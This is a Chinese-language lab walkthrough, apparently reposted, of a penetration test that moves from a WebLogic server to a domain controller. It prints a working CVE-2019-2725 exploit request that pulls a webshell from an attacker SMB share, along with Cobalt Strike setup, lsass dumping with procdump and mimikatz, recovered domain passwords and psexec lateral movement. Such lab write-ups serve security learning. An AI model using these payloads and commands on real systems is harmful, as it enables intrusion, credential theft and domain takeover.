[渗透测试]一次简单的weblogic靶场渗透到拿下域控

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[渗透测试]一次简单的weblogic靶场渗透到拿下域控相关的知识,希望对你有一定的参考价值。

环境来源

来源于https://mp.weixin.qq.com/s/uLlWJdcAc6MmUyuruHygNA,尊重人家作者,还是自己去问人家要吧

为什么写这篇文章

给一些不必要细节删除,以及一些自己觉得细节的补充,还有一些方法的补充完善

配置

nmap扫描

常用端口是开放状态1433是mssql,7001我们知道是weblogic服务,因为我们前面手工开启的。

看到7001,打开以后是weblogic,找到WeblogicScan工具扫一下。

https://github.com/rabbitmask/WeblogicScan

python3 WeblogicScan.py 192.168.111.80 7001

发现两个漏洞,我们使用CVE-2019-2725即可,该漏洞方便我们拿到shell

CVE-2019-2725漏洞描述:这是一个Weblogic反序列化远程代码执行漏洞。部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

启动smbserver共享文件服务

mpacket-smbserver  share /root/桌面/Behinder/server &

打爆weblogic

百度搞个poc发包就完事了,把冰蝎下面shell.jsp搞过去

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\\\192.168.111.5\\share\\shell.jsp servers\\AdminServer\\tmp\\_WL_internal\\bea_wls9_async_response\\8tpkys\\war\\1.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

启动冰蝎

java -jar Behinder_v3.0_Beta6_linux.jar &

上线成功

whoami发现低权限

查看系统补丁

shell systeminfo

查询一下http://blog.neargle.com/win-powerup-exp-index/,后面要用到

接下来为了方便,cs上线

启动cs服务器,密码是123456

./teamserver 192.168.111.5 123456  &

启动客户端

./start.sh &

输入密码

接下来添加个监听器

通过冰蝎或者原来的poc上传即可

接下来去冰蝎命令窗口执行这个exe上线cs,运行web.exe即可

sleep 2设置与服务器交互时间降低

输入

beacon> shell dir

得到当前目录

C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\servers\\AdminServer\\tmp\\_WL_internal\\bea_wls9_async_response\\8tpkys\\war>

后期使用cs上传相关利用工具到此目录,在实际渗透中,最好将一些利用工具上传到比较隐蔽的位置。

查看当前用户身份,发现是WEB\\de1ay普通用户

提权

下载https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe,我们利用Win32K组件提权,使用cs上传相关利用工具到目标机

beacon>upload /root/CVE-2019-0803.exe
beacon>upload /root/mimidrv.sys
beacon>upload /root/mimikatz.exe
beacon>upload /root/mimilib.dll
beacon>upload /root/procdump64.exe

成功上传

注:procdump是微软官方的工具,用于导出进程内存,不会报毒被杀

执行

beacon> shell CVE-2019-0803.exe cmd "start web.exe"

返回SYSTEM权限的shell

使用 procdump64+mimikatz 获取 win 用户明文密码

procdump64.exe 介绍:它的主要目的是监控应用程序的 CPU 异常动向, 并在此异常时生成 crash dump 文件, 供研发人员和管理员确定问题发生的原因。

lsass.exe 进程概述: lsass.exe 是一个系统进程,用于微软 Windows 系统的安全机制。它用于本地安全和登陆策略。也就是说 lsass.exe 进程运行后,里面会保存用户帐号和密码信息

基于刚获取的 SYSTEM 权限,来获取到 lsass.exe 进程的内存文件。lsass.exe 内存文件中会存储明文登录密码

beacon> shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp

参数说明

-accepteula 参数:指定是否自动接受 Microsoft 软件许可条款。所有无人参与安装都需要此设置。 -ma 参数:生成 full dump, 即包括进程的所有内存. 默认的dump格式包括线程和句柄信息.

解密,这里数字卫士没有拦击并不说明 mimikatz 是免杀的,实际环境如果 mimikatz 不是免杀的需 要将 lsass.dmp 文件拖回本地放至相同的系统中进行解密。

shell mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> password.txt

直接使用 download 命令下载,下载后会保存到程序目录的 downloads 目录。

之后进入kali的downloads目录是随即名

因此

目前得到账户信息:

域用户名: de1ay\\mssql 密码: 1qaz@WSX

域用户名: de1ay\\administrator 密码: 1qaz@WSX #这是 DC 域管理员用户和密码

本地用户名: WEB\\de1ay 密码:Y4tacker 该用户是系统本地登录系统用的。(为啥密码不一样是因为安全策略必须让我改密码)

方法二更快速获得用户明文密码

cobaltstrike里面就有

想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes,或者在控制台中使用hashdump命令。

想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access --> Run Mimikatz,或在控制台运行logonpasswords命令。

最后结果一致

拿下域控

查看网络信息找到域控,一般情况下DNS服务器很有可能就是域控

beacon> shell ipconfig /all

DNS 服务器 10.10.10.10 也就是域控。 查看域控制器

beacon> shell net group "domain controllers" /domain

beacon> shell ping DC

ping通了确实成功

接下来查看域管理员:

shell net group "domain admins" /domain

生成管理帐号密码用户凭证-连接域控服务器-反弹域控 shel

回到控制目标主机的初始用户账户下,使用rev2self 移除令牌

 beacon> rev2self 

查看当前的用户:

beacon> getuid

通过前面获取到的 DC 的 DE1AY\\administrator 账户信息,生成新的凭证

beacon> make_token DE1AY\\administrator 1qaz@WSX

创建新的监听实现中转,便于通过命名管道 psexec 通过 SMB Listener 横向过去。

名称就叫 smb 记好了这个后面会用。

DC 上线,jump 会使用前面的凭证和 smb 监听器,完成登录 DC 的过程接下来

jump psexec 横向移动

 beacon> jump psexec DC smb
 
 或:jump psexec 10.10.10.10 smb #目标机器可以是 DC 主机名,也可以是 IP

域控上线

ok结束

参考文章

https://www.adminxe.com/794.html

http://blog.leanote.com/post/snowming/8b7ce0f84c03

https://blog.csdn.net/qq_37683287/article/details/108227136

https://teamssix.com/200419-150600.html#toc-heading-3

https://xz.aliyun.com/t/9607#toc-10

以上是关于[渗透测试]一次简单的weblogic靶场渗透到拿下域控的主要内容,如果未能解决你的问题,请参考以下文章

VulnHub渗透测试实战靶场 - Funbox: Lunchbreaker

VulnHub渗透测试实战靶场 - NULLY CYBERSECURITY: 1

VulnHub渗透测试实战靶场-HA: FORENSICS

VulnHub渗透测试实战靶场 - FUNBOX: CTF

VulnHub渗透测试实战靶场 - Funbox: GaoKao

VulnHub渗透测试实战靶场 - DevContainer:1